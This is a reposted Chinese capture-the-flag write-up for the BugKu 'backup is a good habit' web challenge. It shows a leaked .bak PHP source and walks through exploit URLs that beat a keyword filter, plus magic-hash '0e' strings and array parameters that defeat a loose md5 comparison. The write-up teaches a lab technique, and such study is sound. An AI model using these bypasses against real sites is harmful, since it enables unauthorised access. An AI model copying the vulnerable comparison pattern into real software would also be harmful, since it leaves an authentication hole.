BugKu 備份是個好習慣


題目鏈接

題目說備份是個好習慣,那么到底備份了什么那?打開頁面,也就一串字符,看樣子應該是MD5。看來備份的東西,不在頁面里,會不會是一個.bak文件?用大佬寫的腳本(鏈接),爆得了index.php文件和index.php.bak文件,好了備份的文件出現了。訪問該備份文件,發現直接可以下載,下載下來分析,是php代碼。

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

一番分析,大概就是,會獲得輸入url中?開始后的字符串,然后去掉?,並且字符串中的key字符被替換成空,然后比較key1和key2的MD5值和兩個變量的值,也就是當他們md5值相同,但本身字符串不同就可以得到flag。key1和key2變量和值都是用戶在url中輸入的。

  • 首先不能直接寫key1,要寫成kekeyy1
  • 然后找到合適的字符串,不同但md5值卻相同
  • 最終構造出合適的url:http://120.24.86.145:8002/web16/index.php?kekeyy1=QNKCDZO&kekeyy2=240610708

訪問,得到了flag:Bugku{OH_YOU_FIND_MY_MOMY}

再詳細說明下md5值相同,但未計算md5的值不同的繞過。
1.如果兩個字符經MD5加密后的值為 0exxxxx形式,就會被認為是科學計數法,且表示的是0*10的xxxx次方,還是零,都是相等的。(也就是我使用的方法)

下列的字符串的MD5值都是0e開頭的:

QNKCDZO

240610708

s878926199a

s155964671a

s214587387a

s214587387a

2.md5()函數無法處理數組,如果傳入的為數組,會返回NULL,所以兩個數組經過加密后得到的都是NULL,也就是相等的。
所以可以輸入:http://120.24.86.145:8002/web16/index.php?kekeyy1[]=something&kekeyy2[]=anything

雨落亭博客鏈接


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM